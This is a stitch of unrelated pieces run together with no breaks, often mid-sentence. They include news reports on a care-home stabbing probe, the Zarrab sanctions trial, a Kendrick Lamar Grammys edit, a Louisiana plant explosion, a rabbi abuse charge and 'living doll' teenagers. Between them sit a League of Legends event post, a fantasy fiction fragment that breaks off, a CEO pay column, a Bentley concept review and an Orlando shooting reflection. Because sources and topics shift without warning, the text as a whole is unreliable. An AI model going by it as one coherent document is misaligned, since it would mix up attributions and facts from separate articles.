“I would like to see that her death not be in vain,” Phelan said by phone Monday.
His wife Sheryl Phelan added that more oversight is needed to prevent such tragedies from happening again.
The California Department of Social Services’ Community Care Licensing Division has yet to complete its own probe into the fatal stabbing, DSS spokesman Michael Weston said in an email.
That investigation will determine whether state regulations were being followed properly, whether there was appropriate care and supervision at the time of the incident and whether there was adequate staffing and the needs of the residents were being met.
Depending on the findings by the agency’s peace officer investigators, the facility could be cleared, cited, fined or eventually have its license revoked, according to the agency.Kendrick Lamar's powerful Grammys performance of To Pimp a Butterfly tracks "Alright" and "The Blacker the Berry" along with a new song was the most important performance of the night. However, there were some noticeable alterations to Kendrick's performance, specifically leaving out his tracks' original lyrics that include profanity. There was also a brief moment where the rapper's audio cut out during his line in "Alright" where he raps, "Diggin' in my pocket, ain't a profit big enough to feed you." According to Fader, CBS replied in an email, "An instance of profanity was deleted during Kendrick Lamar’s performance of 'Alright.'” When asked for more information, the CBS rep replied simply with, "Fuck." Finally, the rep elaborated and revealed that Kendrick sang the lyric as "Diggin' in my pocket ain’t a profit 'fuck it' big enough to feed you."
So far, there has been no official response on why Kendrick changed the lyrics of the Grammy winning song "Alright" to eliminate the "po-po" line. Instead, he rapped "I'm at the preacher's door/Wanna kill us dead at the preacher's door/We said give em so mo', this one time/Do it for the show/But we gon' be alright." It's important to note that the same line was a subject of controversy following Lamar's performance at the BET Awards. Fox correspondent Geraldo Rivera offered his negative interpretation of the song. Lamar responded, "How can you turn a song about hope and turn it into hatred?” It's possible the past controversy inspired Kendrick's changes, but the focus should be on his positive message rather than nit-picking at lyrics.A scheme Iran allegedly used to evade sanctions through a state-owned bank in Turkey has been detailed in court by a businessman who claimed the Turkish president, Recep Tayyip Erdoğan, had been aware of the billion-dollar operation.
In a case that has strained relations between Turkey and the US, Reza Zarrab, a Turkish-Iranian gold trader, described a sprawling money laundering network that allowed Iran access to international markets from 2010 to 2015 in violation of sanctions over its nuclear programme.
He told jurors in New York on Thursday that Erdoğan, who was prime minister of Turkey at the time, had personally authorised a transaction on behalf of Iran. Zarrab said he had bribed the then Turkish economy minister Zafer Çağlayan and the former head of the state-owned Halkbank.
Zarrab had faced charges including bank fraud and money laundering, but court papers revealed on Tuesday that he struck a deal last month with prosecutors to plead guilty and testify against his former co-defendant in the case, Mehmet Hakan Atilla, a former deputy chief of Halkbank.
The Turkish government had repeatedly raised Zarrab’s case with the US, demanding his release before the plea deal was made public. Senior Turkish officials have in recent weeks condemned the trial as a plot engineered by Fethullah Gülen, a Pennsylvania-based cleric accused by the government of orchestrating an attempted coup last year.
In its first reaction to Zarrab’s testimony, Bekir Bozdağ, the Turkish deputy prime minister, described the trial as “theatre” and a “plot against Turkey and Recep Tayyip Erdoğan”, adding that justice could not be expected.
Erdoğan was quoted by CNN Türk on Thursday as saying Turkey did not violate US sanctions against Iran and “did the right thing”.
In Turkey, the trial has been dismissed by senior officials and pro-government media as a conspiracy based on evidence gathered illegally by members of Gülen’s movement in the police and judiciary.
Facebook Twitter Pinterest Front pages of Turkish newspapers on Thursday with headlines concerning the trial in New York. Photograph: Burhan Ozbilici/AP
When asked about the possibility that the trial could implicate Ankara in the violation of sanctions, the Turkish foreign minister, Mevlüt Çavuşoğlu, said: “Why should I be concerned?
“If something is fabricated, we also have something to say. This is an indictment prepared by [Gülen’s] people … it means that the case is very much politically motivated.”
Despite the public dismissals, the case is likely to prove embarrassing for Erdoğan’s government if prosecutors provide compelling evidence linking Zarrab to other senior officials. It could also have a damaging effect on the Turkish economy if his revelations hurt the banking system at a time when the Turkish lira’s value is falling.
Relations between the US and Turkey, the two largest armies in Nato, have been greatly strained over the past few years, beginning with the former’s reluctance to intervene forcefully against Bashar al-Assad early in the Syrian civil war. Recent US support for Kurdish militias fighting Islamic State in Syria has further angered Ankara, which considers them affiliates of the Kurdish insurgency in Turkey.
Visa services for nationals of both countries have been suspended in recent weeks over the arrest of US consulate personnel in Turkey accused of having links to the Gülen network.
Çağlayan resigned in late 2013 over corruption claims. The Erdoğan government alleges that the investigation against him that year was orchestrated by the Gülen movement, and it marked the total break in ties between that organisation and the ruling Justice and Development party.
On Thursday, the pro-government newspaper Daily Sabah published a rebuttal with the headline: “Fabricated evidence, a pro-[Gülen] judge, a clear plot against Turkey: all about the Zarrab case.”
It accused the judge overseeing the caseand the former prosecutor who indicted Zarrab of having links to the Gülen movement.
Atilla has pleaded not guilty. His lawyer, Victor Rocco, told jurors in an opening statement that Zarrab was “a liar, a cheat … a one-man crime wave”, while his client, by contrast, was not corrupt and took no bribes.
Halkbank issued a statement on Thursday insisting that it “strictly adheres to national and international regulations” in all businesses and transactions.
“Foreign trade transactions and money transfers are conducted in an open, transparent manner and can be monitored by the relevant authorities,” it said.
Zarrab was arrested in March 2016 when he flew to Florida with his wife, the Turkish singer Ebru Gündeş, and his daughter, for a trip to Disney World.By Riot Draggles
As you may have seen in our previous post, we’re heading to the UK to celebrate the run-up to the LCS broadcast at SSE Arena, Wembley! Glaswegian gamers and Mancunian midlaners: keep calm and AD carry on with these viewing parties for week 2 of the EU LCS:
Viewing parties
Geek Retreat
63 Union Street
Glasgow
G1 3RB
Thursday, 29th May, 5pm - 10pm
Facebook Event
Fraggers
6 The Downs
Altrincham (near Manchester)
Greater Manchester
WA14 2PU
Thursday, 29th May, 5pm - 10pm
If your teleport is on cooldown and you can’t get to Glasgow or Manchester, don’t fret. We’ll also be hitting up cities a bit farther south as we march toward the capital - more details will follow next week. If you prefer to set up your own viewing festivities, be sure to tell us about your plans right here!
Creative Talent Spotlight
The UK is home to some ridiculously talented League of Legends creators, and one of our favourites is Essex-born Foxdrop. His comprehensive jungle guides explain how to “Be a Better League Player”, and he focuses on not just mechanical skill, but also equips you with an arsenal of strategies to help you bait and outsmart your opponents. In his latest video, Foxdrop talks you through the psychology of jungling, and how to quickly process map information in order to carry your team to a decisive victory.
Foxdrop gets his YouTube on at youtube.com/foxdroplol and you can find his stream at twitch.tv/foxdrop.
Over to you!
We were astounded at the level of cosplay that players brought to MCM London Comic Con last weekend, and here’s just a sample (you can see the rest of the photos from the event on our official EU League of Legends Flickr page):
Phew, that was a lot of stuff! Are you excited about EU LCS coming to Wembley? Tweet a picture of yourself showing LCS pride in front of your favourite UK landmark with the hashtag #LCSLondon and you might just see it featured here next week!Previous Next
Jessie peered through the binoculars. Her vision was hampered by the fact that her view was through windows and that those windows had branches dividing panes of glass.
The Infante had cornered Lillian and Mary. His soldiers were gathering in the area surrounding the building. The Helmed, Jessie termed them. Beast and biped, they were moving out through the city, alongside soldiers and doctors leading teams of warbeast and stitched. They moved with a mission, securing major points, the gates to the city, the intersections of major roads, and the larger institutional buildings, like the hospital, the schoolhouse, and the merchant’s hall.
They were securing the city. The fact that the city was surrounded by refugees complicated matters. If the populace realized what was going on and fought back, they would have to contend with a fight within their city and enemies outside the gates. Jessie had seen this play out in too many permutations to have any illusions about what was really happening.
The Infante intended to squash this city, and from his body language, he intended to do much the same to Lillian and Mary.
Jessie would need to help.
Her mind was architecture, every memory a brick set in place. She thought of her memories as ‘cards’, coded in placement and color and in terms of what they were, but the mental construction wasn’t a house of cards – it was far more stable.
Taking stock of everything she had collected since visiting the city, touching on all points of reference, she reoriented her memories as if they were a pop-up book coming to life, the individual rows and columns taking a geographical position in her head.
She could, at the speed of thought, move through the city, analyzing the details she had catalogued. She had noted details about houses and what she had seen when looking through windows, and she could cross reference that to make educated guesses about which houses might have guns on display or in places she could access. She could think of four places where munitions or things she could turn into munitions were stored. There were places she could set fires, if she wanted to alert the populace and change the tone of things. There were places where civilians would be gathered, and she could go there to make an appeal. In rural areas, the Crown had a different image.
She thought of Jamie’s writings about Mauer and his rhetoric, about Sylvester’s rhetoric, and she had some tenuous ideas
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— Did you get a decent raise last year? How about 28% without having to
change jobs, vie for a promotion or outperform your peers?
If you were a CEO of an S&P 500 company last year and your pay only went up 28%, then sorry, but half your peers did better than you.
So with millions out of work, how do U.S. CEOs keep their pay rising in good times and bad? The short answer is an army of support and a few small distinctions.
Here’s how it’s done.
Step One. Ignore global benchmarks in setting pay.
While outsourcing may be negatively affecting your pay as a non-CEO or your ability to find work, U.S. CEO salaries are soaring in part because of the failure of boards to compare the pay of U.S. CEOs against their global counterparts.
Exxon’s (XOM) board, for example, doesn’t use other global energy firms when setting their CEO’s pay.
And Wal-Mart’s (wmt) board compares its CEO’s pay mainly to CEO pay at other U.S. firms and fails to include no. 2 world retailer Carrefour, no. 3 Metro AG,, or no. 4 Tesco among their benchmark companies.
Why does that have an impact?
Recent research by professors Nuno Fernandes, Miguel Ferreira, Pedro Matos, and Kevin Murphy finds that, on average, U.S. CEOs earned double their non-U.S. counterparts between 2003 and 2008. And, adjusting for firm size and industry, U.S. CEOs still earn around 80% more than their non U.S. based peers.
Step Two. Convince your bosses that pay need not be based on your performance. In fact, they can just ignore performance in setting pay.
While we’d all like to have a nickel every time someone said CEO pay is based on the principles of “pay for performance”, research by Fernandes and his colleagues shows that U.S. CEOs aren’t being paid double their global counterparts because they are doing a fantastic job. (Additional research supports the argument that U.S. CEO pay has little relationship to a CEO’s job performance.)
So, if it’s not to do with performance, what is driving CEO pay upward?
Step Three: Get equity.
The research shows that U.S. CEO pay is higher primarily because U.S. CEOs are awarded high levels of equity compensation, which includes pay in the form of company stock and stock options.
But you can’t stop there.
Step Four: To make sure the gravy train doesn’t stop, get institutional shareholders to believe your equity pay benefits them.
When companies have U.S. institutional owners, boards are more likely to offer high levels of equity compensation (and, in turn, total compensation), the research shows. U.S. institutional owners have pushed for greater equity-based pay based on the assumption that offering pay incentives like stock and stock options boost performance and align pay with performance. That has not been the case, however.
When insiders, rather than institutions, hold more of a company’s stock — for example, in family-owned firms — “they keep pay down,” says Fernandes. There’s “better discipline.” Insiders do a better job of controlling the CEO than outside institutional owners have, he says.
Step Five: Get an independent committee to determine your pay.
According to the research from Fernandes and Co., regardless of a company’s size, higher CEO pay is associated with a board comprised of more independent directors. But isn’t it counterintuitive that having more independent directors would lead to higher pay? Perhaps on the surface, yes, but independent directors are likely more attuned to institutional owners’ interests.
If U.S. institutional owners want more equity-based pay, which leads to outsized U.S. (versus non U.S.) pay, independent directors are more likely to deliver what they think institutional owners want. The directors are “shielding themselves from [liability] problems” by handing out “higher equity based pay,” Fernandes says.
Step Six: Make sure your company is listed in the U.S.
Fernandes says that the U.S. is exporting its pay practices abroad. When non-U.S. firms are traded on U.S. exchanges, the firm’s CEO pay gets a boost.
Step Seven: Take advantage of regulation to boost your pay and make the case that your additional pay is in shareholders’ best interests. (You are really doing it for them.)
How do you pull this one off? Use regulation and accounting conventions to justify pay increases.
For example, in 1993, Congress passed legislation that limited the amount of base executive pay that companies could deduct in their taxes to $1 million. This legislation is often cited as one of the drivers for the rise of CEO incentive pay.
Another driver has been past U.S. accounting conventions related to stock options. In the past, the expense of paying executives with stock options did not have to be included on the company’s income statement. This accounting, which made companies’ income statements look better because the stock option compensation did not show up as an expense, is often cited as a key contributor to the rise in CEO incentive pay.
Going forward, James Reda, founder and managing director of compensation firm James F. Reda and Associates, predicts that a new Dodd-Frank requirement to include a chart that compares executive pay with performance will be used as yet another “excuse to increase pay” for CEOs at U.S. companies.
“Companies will use this as a rallying cry to increase pay,” he says, and they’ll be “slicing and dicing the information any way they like.” If one performance metric doesn’t work, they’ll just change the comparison, Reda says.
Reda predicts in five years we’ll see a doubling of U.S. CEO pay from the current levels.
So those are your seven steps to be paid like a U.S. CEO — although they may not be so easy to duplicate for the non-CEOs among us.
Of course, corporate boards could study other approaches to motivating and rewarding good CEO performance, which does seem to be an issue of concern. A survey released in May by the National Association of Corporate Directors (NACD) with compensation consultants Pearl Meyer & Partners showed that “a total of 33% of respondents … ranked ‘the selection of performance goals that align with shareholder value creation’ as their top Board issue.”
Perhaps institutional owners could also rethink what they want. Has higher equity based pay been worth the money they’ve spent? What signals do they really want to send?
Higher CEO pay is likely not going to benefit you. It means fewer dollars in the coffers for your raises, no better performance for your company, and more unemployed workers, rather than new hires who could help you with your growing workload.
Maybe it’s time for more than a collective sigh. Let’s hope the U.S. contagion won’t spread too far too fast.
Eleanor Bloxham is CEO of The Value Alliance and Corporate Governance Alliance (http://thevaluealliance.com), a board advisory firm.Bentley wanted to bring a surprise to this year’s Geneva Motor Show, and it certainly achieved its goal by unsheathing a snow-white, all-electric concept car this week: the EXP 12 Speed 6e. I was here in Geneva two years ago to photograph the EXP 10 Speed 6, the previous two-seater concept that helped Bentley gobble up attention and headlines at the show. There’s a lot that the two concept cars share, mostly owing to Bentley’s adherence to signature design touches, but the big difference is that the new one is a battery-powered electric beast of luxurious burden.
Tesla’s sporty electrics have come to define the nascent category up to this point, and they did start at the luxury tier, but Bentley believes there’s an extra luxury stratum that is above anything its Californian rival can produce. Hence its introduction of this luxury electric vehicle. The EXP 12 is a car intended to challenge our preconceptions about what we can expect from an electric car, and it endeavors to bring Bentley’s limousine-like qualities of luxury and opulence to a distinctly more compact form than its established Continental and Flying Spur models.
Bentley sure knows how to make a car feel palatial
Before the crowds arrived at the Geneva Palexpo this morning, I got a tour around the brilliantly white electric concept from Bentley’s European communications manager Sebastian Michel. He noted how most of the signature features of a Bentley were carried over with this car: from the "powerline" that begins with the front wheel arches and extends along the full length of the car, to the "haunches" that echo it at the rear wheels, to the doors that open at an angle, and right down to the knurling on the dashboard switches.
Also knurled are the rear-facing cameras, replacing the traditional wing mirrors. The Mercedes-AMG GT Concept, introduced earlier this week, opted for a similar replacement of mirrors with cameras, and it seems like that’s the way the entire car industry is headed. Michel confirmed that Bentley is thinking along the same lines, and he did say that even if the EXP 12 never has a direct counterpart in the company’s future lineup, much of what it shows will make an appearance in upcoming models.
I linger on these rear-view cameras because they seem to best embody what Bentley’s trying to do: they’re distinctly more high-tech than the stuff luxury companies are most adept at doing, such as leather upholstery, sumptuous wood interiors, and expertly crafted accessories like luggage and hand-stitched driving gloves. But those cameras keep up the familiar Bentley design while applying it a more modern way of driving. I think it can work.
The interior of the EXP 12 is classic Bentley, in that it feels palatial and opulent — in all the right ways, and some of the wrong ones too. The vintage leather of the seats spills over onto the back of the car, ostensibly just to show off how much ultra-expensive cowhide you can afford to drape over your car. But still, there’s no mistaking the feeling of luxury that comes with all of that high-grade material.
No performance details are being disclosed as yet, and Bentley says the EXP 12 is "about much more than a car, [representing] a first step on a journey that will change the way today’s drivers think about mobility and what it can be." The only indication of the car’s capabilities is a promise that it will have sufficient range to drive from Paris to London, Milan to Monaco, or Geneva to Côte d'Azur. The names of those places should also give us a fairly strong hint about the expected price range for an electric luxury vehicle like this.
Even if the EXP 12 moves beyond the concept stage, it’ll be affordable to only a select few
I wouldn’t class myself as the typical Bentley customer, owing to both my bank balance and my preference for more efficient modes of transportation, but this EXP 12 concept is bringing the brand much closer to my preferences. It’s sharply designed, electrically driven, and it accommodates two people in a glamorous manner that very few other brands could hope to match.
I’m a fan of the copper color theme that Bentley has going throughout the EXP 12’s accents. The company tells me that color is going to be a hallmark of its electric vehicles going forward, whether they be concepts or cars that the wealthy among us will be able to buy. The thing I love, though, are the rocket buttons at the top of the steering wheel, used to give the car an extra boost. How can you not adore a feature like that?
Grid View Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photo by Vlad Savov / The Verge
Photography by Vlad Savov / The VergeThe upcoming Galaxy J (2017) series may be getting all of the attention these days but there’s something that existing Galaxy J series handset owners can look forward to: the Nougat update. Samsung is yet to roll out Android 7.0 Nougat for these devices. A GFXBench listing reveals that the Galaxy J7 (2016) Nougat update is now being tested by Samsung.
The listing reveals that benchmark tests are being conducted on the Galaxy J7 (2016) model number SM-J710 with Android 7.0 Nougat onboard. This is normally taken as an indication that the update is not that far off. Nevertheless, it can’t be said with absolute certainty at this point when Samsung is going to release Nougat for this handset.
The Nougat update for this device will bring all of the features that are part and parcel of Android 7.0. Some of Samsung’s own features like the Blue Light Filter and Secure Folder might be included as well.
It’s also not known at this point in time when the other handsets in the Galaxy J (2016) series will receive their Nougat update. Hopefully, Samsung will provide more clarity on the matter soon.
Those who are looking forward to the Galaxy J (2017) need not be concerned, the refreshed series is likely to come with Android 7.0 Nougat out of the box.TONY Abbott has decided to bunk with Australian Federal Police recruits in a $120-a-night flat while renovations are conducted at the possum-infested prime ministerial residence The Lodge.
The modest and unusual digs, in a red brick AFP building close to Parliament, will feature a kitchenette and around-the-clock security from his AFP security officers and their junior colleagues.
GALLERY: A portrait of Tony Abbott's first week in office
Perhaps most importantly for the fitness fanatic, the student quarters also include an impressive gym.
The AFP recruits were informed over the weekend that they should soon expect a very "VIP" visitor.
media_camera The old Australian Federal Police College in Canberra where the Tony Abbott will be staying. Picture: Gary Ramage
The Lodge is preparing for major renovations that could last for up to a year to repair dodgy wiring, remove asbestos and replace the roof on the 1927 property.
Mr Abbott rejected the other options on offer: a $3,000 a week dress circle rental in the nation's capital. Mr Abbott currently stays at the five-star Hotel Realm.
Coalition to revive work for dole program
Providing proper security to the Prime Minister was the biggest problem in finding a temporary new abode, with many options requiring significant security upgrades if AFP officers were to properly protect the PM. For that reason, staying a hotel was swiftly discounted as an option.
media_camera A room at the Australian Federal Police College in Barton, Canberra. Tony Abbott can expect to live in something like this while the Lodge is being renovated.
The plan represents one of the most unusual Canberra living arrangements for a politician since former Liberal leader Brendan Nelson camped out in Joe Hockey's shed to save money after his divorce settlement. When Mr Abbott needs to entertain VIP guests he will do so at his Prime ministerial offices at Parliament House.
Russell Crowe backs Anthony Albanese to lead ALP over Bill Shorten
In Sydney, Mr Abbott will also be able to use Kirribilli House on Sydney Harbour, but he has not yet announced when he will move out of the family home and live there.
In the 1980s, Mr Abbott lived at St Patrick's seminary where he trained as a Catholic priest. Mr Abbott's unusual choice echoes the Canberra habits of his unlikely political hero: Labor's Ben Chifley.
media_camera A room at the Australian Federal Police College in Barton, Canberra. Tony Abbott can expect to live in something like this while the Lodge is being renovated.
As Prime Minister, Mr Chifley preferred the Hotel Kurrajong to the Lodge. He died there in 1951 after suffering a heart attack. The historic hotel is close by to the AFP flat Mr Abbott will live in.
"My old man always says that Ben Chifley was a great prime minister, I think probably because he was very down-to-earth and a decent human being,'' Mr Abbott said.
Maiden: Roo Poo Senator a breath of fresh Gippsland air
The vexed question of where to put the Prime Minister while the renovations were conducted at the Lodge has exercised the minds of public servants for years after Julia Gillard first signed off on the multi-million dollar renovations of the historic property two years ago.
media_camera A room at the Australian Federal Police College in Barton, Canberra. Tony Abbott can expect to live in something like this while the Lodge is being renovated.
Ms Gillard was fond of regaling guests with stories of the possum urine stains in the ceiling detailing the horror in a 2012 interview with The Sunday Telegraph.
"We had a celebrated incident where we had a visiting foreign leader,'' Ms Gillard said.
Akerman: Tasmania a harbinger of Green doom
"There was much shooing of people out of the dining room because someone spotted wee making its way down the wall to one of the very precious paintings from the National Gallery."
Originally published as Abbott to live with AFP recruitsTip of Iceberg Feared in Rabbi Child Sex Rap
By Nancie L. Katz and Brendan Brosh
New York Daily News
December 9, 2006
http://www.nydailynews.com/front/story/478624p-402645c.html
Prosecutors warned yesterday that a Brooklyn rabbi accused of sexually abusing two victims - including a young boy - may face more charges.
Joel Yehuda Kolko, 60, a former teacher and assistant principal at Yeshiva-Mesivta Torah Temimah on Ocean Parkway in Midwood, was released on $10,000 bail after he was arraigned yesterday on four counts of sexual abuse and one count of endangering the welfare of a child.
He was required to surrender his passport before he was allowed to return to his Midwood home in time for Sabbath observations.
The charges against him involve the alleged molestation of a 6-year-old boy and a 31-year-old man.
"There may be other charges with other complainants, and there is an ongoing investigation regarding Kolko," Assistant Brooklyn District Attorney Marc Fliedner said in Brooklyn Criminal Court.
A $10-million suit filed in Brooklyn Supreme Court on Wednesday accuses the yeshiva of harboring Kolko despite accusations that he abused children in his care there for years.
In May, three men filed suits seeking $30 million for alleged abuse the rabbi committed against them when they attended the yeshiva as children.
One of the three men was contacted by a Daily News reporter following yesterday's court action.
"I think it's 25 years later than it should have happened," the 39-year-old man said. "I know the wheels of justice are slow. I hope they crunch this guy."
The man said he personally knows of another 15 victims, and that he believes more than 100 other boys were molested by the rabbi.
Some of Kolko's former students were flabbergasted at the charges yesterday.
"I think a bunch of people are out to get him," said Aaron Tarnes, 30, a student at the yeshiva for 15 years. "I'm disturbed to hear such things against such a wonderful man."
Kolko arrived at his home on E. 22nd St. shortly after 4:15 p.m. in a silver Buick driven by his son, Avi. Kolko dashed inside without a word to waiting reporters.Meet the real-life Barbies: Internet craze sees teenagers turn themselves into freakish living dolls
Dakota Rose and Venus Palermo become internet hits
YouTube tutorials give tips on how to transform into a living doll
Concern it could encourage sexualisation of young girls
Young girls are fast becoming internet sensations not because of their vocal skills or dance moves, but because they resemble living dolls.
Staring doe-eyed at the camera, with cupids bow lips and a porcelain complexion Dakota Rose has been hailed a real-life Barbie.
Known to her fans as Kota Koti, she has amassed a global audience with her YouTube fashion and beauty tutorials.
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Dakota Rose is being hailed as the real-life Barbie for her doll-like features
In most of the videos she remains silent while subtitles provide the viewer with a step-by-step guide on how to apply cosmetics, style hair or dress fashionably.
'I usually prefer something lighter. I would only wear this to a club, night time event,' she writes below a 6 minute video demonstrating how to apply 'nighttime eye make up'.
It is said that Dakota is especially popular across Asia as her sense of style appears to be inspired by the Japanese anime culture, in which big eyes and long straight hair are key features.
Little is known about the teenager but some websites suggest she is aged between 16 and 18 and from the west coast of America.
Despite her growing success, some commentators have warned that she could encourage the sexualisation of children.
Venus Palermo, known online as Venus Angelic, has also gained popularity for resembling a living doll
Venus Palermo has 78 videos on her official YouTube page - ranging from makeup tutorials to nail art
A Bolivian newspaper, Opinion.com.bo reported: 'Thousands of girls around the world have shown interest in this girl, wanting to look like her.
'It is a great risk that girls are being influenced in this way.'
Experts have also expressed their concern. Dr Gray, clinical director at The British CBT & Counselling Service (www.thebritishcbtcounsellingservice.co.uk ) warned that too much emphasis on physical appearance from an early age could have 'disastrous consequences', encouraging anxiety, depression and eating disorders later in life.
She told MailOnline: 'At any age placing too much value on physical appearance can be potentially detrimental to a person’s self esteem and sense of self worth.
'Equally concerning is why these images have been created and for what purpose.
'Distorting or enhancing pictures of children so that they appear older and more sexual surely crosses the line between how we should treat the children in our society and how we should not.'
But Dakota is not the only one to have fashioned herself as a living Barbie.
Venus Palermo, known online as Venus Angelic, is a 15-year-old girl who has also taken to the internet detailing how to look like a living doll.
After spending time in Japan and inspired by the craze for Japanese anime she decided to give her image an overhaul on her return to London two years ago.
She now has 78 videos on her official YouTube page - ranging from makeup tutorials and nail art to dancing and her Facebook page boasts over 13,000 fans.
Little is known about Dakota Rose but some websites have suggested she is aged between 16 and 18
Beauty tutorials: Known to her fans as Kota Koti, Dakota has amassed an ever-growing global fan base
Doe-eyed: In most of the videos she remains silent while subtitles provide the viewer with a step-by-step guide
A real-life Barbie? Teenager Dakota Rose, who styles herself as a living doll, has become an internet hit for her online demonstrations on how to recreate her look
Despite critics her mother approves: 'She actually thinks it's cute to wear cute and frilly clothes.'
While Venus said. 'I don't think that I will ever stop. I think I will grow in my style and just keep doing what I love.'
While the living doll-look is going global, in Asia it has been a long-running trend.
As early as 2010 it was reported that an increasing amount of Japanese women were aspiring to look like dolls, embracing femininity and obliterating sexuality altogether.
Naoko Kamijyo, then 19, told the New York Times: 'I’m no great beauty, but I love to be made up. I want to change myself, to be unrecognizable. Who wants to go through life just being themselves?'
She reportedly woke up at 5am every morning, spending at least two hours applying false eyelashes, false hair extensions, layers of foundation and other makeup products in a bid to look like a Barbie doll.
A recent poll in Taiwan of 13,000 students revealed nearly half started surfing the internet before the age of seven, and some start as young as three.
It found a correlation between the frequency of online social networking and the level of concern with appearance and self-image.
While the living doll-look is going global, in Asia it has been a long-running trend
Some commentators have suggested the doll-like girls could encourage the sexualisation of children
It is said that Dakota is especially popular across Asia as her sense of style appears to be inspired by the Japanese anime culture, in which big eyes are a key featureAn enormous explosion shook a chemical plant in Geismer, Louisiana, just south of Baton Rouge on Wednesday. The blast was followed by a huge fire. 77 were injured in the explosion and subsequent fire. One fatality has been confirmed by police.
One person was confirmed dead by police shortly after the blaze was extinguished. Louisiana Governor Bobby Jindall has said that 77 people have been taken to hospital, with many having to be airlifted out of the burning facility with severe injuries.
A search for more possible victims is underway, Louisiana State Police Captain Doug Cain said.
Pic of explosion at Williams Olefins from Ryan Meador twitter.com/CherylMercedes… — Cheryl Mercedes (@CherylMercedes) 13 июня 2013 г.
After the initial blast, clouds of thick black smoke could be seen billowing towards the sky, visible from a local school. Flames could be seen rising from two separate locations. Approximately 600 people were employed at the plant at the time of the explosion.
“It looked like a pretty big explosion – it looks like Williams have taken all the precautions they can do to evacuate all the personnel. The firefighters are responding as needed,” witness Ryan Meador told local station 90 WAFB.
“Everyone evacuated to the road. Everyone is trained for something like this.”
The blast, which began at 8:37 a.m local time was contained by 10:50 a.m., and the situation was reported stable.
Meador released witness footage of the blast's aftermath:
St. Gabriel residents are being told to take shelter from Highway 3115 to Highway 74 as a precautionary measure.
A man named Todd Stiles who worked half a mile away told the New Orleans-based Times-Picayune that he and his colleagues were instructed to either shelter in place or evacuate. He reportedly didn’t hear the explosion as he was located in a blast-proof area, but told the paper that some people had seen a ‘fireball in the air.’
Williams Olefins, which owned the plant, are involved in the production of plastics with clients in the petrochemicals industry. The facility annually produces approximately 1.3 billion lbs of ethylene and 90 million lbs of polymer grade propylene. Both are flammable
A previous incident at the plant was in February 2011, when a butadiene release was recorded. Butadiene is also flammable. No injuries were reported at that time.
New picture of #Geismar plant fire from Robby Taylor. twitter.com/stevecaparotta… — Steve Caparotta (@stevecaparotta) June 13, 2013
The air quality in the area has started being monitored by the Louisiana Department of Environmental Quality and Environmental Protection Agency. They are currently unsure of the levels and specific chemicals that could be leaking into the atmosphere. “We're just in the very beginning of this.” They told the Times-Picayune.
Other buildings in the area are reportedly being evacuated, and there are fears another explosion could happen and the fire is not fully under control. A nearby plant told the 90 WAFB channel that the major risk is butadiene spheres, in which crude budatiene is stored under pressure as a liquid.
Another view of fire at Williams Olefins plant in Geismar. twitter.com/stevecaparotta… — Steve Caparotta (@stevecaparotta) June 13, 2013
According to reports the most recent inspection at the Geismer plant took place a quarter of a century ago, and at the time management was fined for safety violations.
Publisher of the Trends Journal Gerald Celente says government agencies are too weak to enforce safety and maintenance regulations that are already in place.
“What you have is a tangle of agencies, both state and federal, without any teeth and without any will to enforce the regulations that should be enforced,” says Celente.
Celente describes industry and government agencies responsible for industrial oversight as a “revolving door” of the same individuals.We woke up Sunday morning to news of the worst mass shooting in American history, as a terrorist murdered and injured over a hundred people in a gay nightclub in Orlando. In the aftermath, we’ve seen some of the best aspects of America: people lining up, for example, to give blood for the victims. We’ve also seen some of the worst—as the aftermath turned into an excuse for social media wars over everything from gun control to presidential politics. What I wonder is whether the country still has the capacity to grieve, together, in moments of national crisis.
When we’re accustomed to seeing news in real time on our television screens and on our phones, it is sometimes easy to forget that the news we are viewing is real. At least fifty people—created in the image of God—were slaughtered in cold blood. Families who were waiting to see their loved ones are finding out today that they will never see them again in this life. That ought to drive us to mourn.
Our nation has shared moments of crisis and tragedy before. Think of Pearl Harbor, when the country rallied around President Roosevelt and toward a common purpose of defeating the Axis Powers. Think of the John Kennedy assassination when the country—even the Kennedy family’s enemies—seemed to grieve together. Think of September 11—before the fracturing of the Iraq War—when the country looked to common cultural expressions from the service at the National Cathedral to the cold open of Saturday Night Live for a sense of lament together.
It seems now, though, that there’s rarely a time of grieving together. The time of lament morphs almost immediately into arguments over what the President should have said or whether this validates or annihilates someone’s views on guns or immigration or whatever. Some of that, of course, is just the speed of social media. People are able to discuss, rather publicly, issues much quicker than they could before. But there seems to be more than that.
Our national divisions increasingly make it difficult for us not just to work together, but even to pause and weep together. We become more concerned about protecting ourselves from one another’s political pronouncements than we do with mourning with those who mourn.
In some ways, then, national crises like this one feel less like the 1963 John Kennedy assassination than like the attempted George Wallace assassination of 1972. Reports are that some within the Nixon Administration, arguably even the President himself, contemplated planting George McGovern campaign literature in the would-be-assailant Arthur Bremer’s apartment. The shooting in Laurel, Maryland, was about, for them, the campaign itself. That sort of cynicism is, ultimately, dehumanizing.
How then do we weep with those who weep?
Let’s call our congregations to pray together. Let’s realize that, in this case, our gay and lesbian neighbors are likely quite scared. Who wouldn’t be? Demonstrate the sacrificial love of Jesus to them. We don’t have to agree on the meaning of marriage and sexuality to love one another and to see the murderous sin of terrorism. Let’s also pray for our leaders who have challenging decisions to make in the midst of crisis. Let’s mobilize our congregations and others to give blood for the victims. Let’s call for governing authorities to do their primary duty of keeping its people safe from evildoers.
And let’s bear patiently with those who jump the gun, in arguing about the politics on social media. For many of them, the jump to talk about gun control or Islam or military preparedness or any other issue isn’t so much about pontificating as it is about frustration. They, like all of us, want this horror to end, and they want to do something—even if that’s just expressing themselves on Twitter.
